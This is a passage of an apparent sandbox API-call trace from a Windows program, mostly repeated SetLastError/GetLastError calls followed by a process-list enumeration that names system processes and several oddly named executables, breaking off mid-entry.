(dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.776] SetLastError (dwErrCode=0x57) [0049.776] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.777] SetLastError (dwErrCode=0x57) [0049.777] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.778] GetLastError () returned 0x57 [0049.778] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.779] GetLastError () returned 0x57 [0049.779] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.780] SetLastError (dwErrCode=0x57) [0049.780] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.781] SetLastError (dwErrCode=0x57) [0049.781] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.782] SetLastError (dwErrCode=0x57) [0049.782] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.783] SetLastError (dwErrCode=0x57) [0049.783] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.784] SetLastError (dwErrCode=0x57) [0049.784] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.785] SetLastError (dwErrCode=0x57) [0049.785] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.786] GetLastError () returned 0x57 [0049.786] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.787] GetLastError () returned 0x57 [0049.787] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.788] SetLastError (dwErrCode=0x57) [0049.788] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.789] SetLastError (dwErrCode=0x57) [0049.789] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.790] SetLastError (dwErrCode=0x57) [0049.790] GetLastError () returned 0x57 [0049.791] SetLastError (dwErrCode=0x57) [0049.791] GetLastError () returned 0x57 [0049.791] SetLastError (dwErrCode=0x57) [0049.791] GetLastError () returned 0x57 [0049.791] SetLastError (dwErrCode=0x57) [0049.791] GetLastError () returned 0x57 [0049.791] SetLastError (dwErrCode=0x57) [0049.791] GetLastError () returned 0x57 [0049.791] SetLastError (dwErrCode=0x57) [0049.791] GetLastError () returned 0x57 [0049.791] SetLastError (dwErrCode=0x57) [0049.791] GetLastError () returned 0x57 [0049.791] SetLastError (dwErrCode=0x57) [0049.791] GetLastError () returned 0x57 [0049.791] SetLastError (dwErrCode=0x57) [0049.791] GetLastError () returned 0x57 [0049.791] SetLastError (dwErrCode=0x57) [0049.791] GetLastError () returned 0x57 [0049.791] SetLastError (dwErrCode=0x57) [0049.791] GetLastError () returned 0x57 [0049.792] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x120 [0049.798] Process32FirstW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.799] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.799] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.800] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.801] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.801] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.802] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.802] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.803] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.804] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.804] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.805] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.806] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.806] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.807] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.807] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.846] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.847] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.848] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.849] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.849] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.850] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0049.851] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0049.852] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.853] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.853] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0049.854] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.855] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0049.856] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.856] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0049.857] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0049.858] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0049.858] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0049.859] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0049.860] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0049.860] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0049.861] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0049.861] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0049.862] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0049.863] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0049.863] Process32NextW (in: hSnapshot=0x120, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, 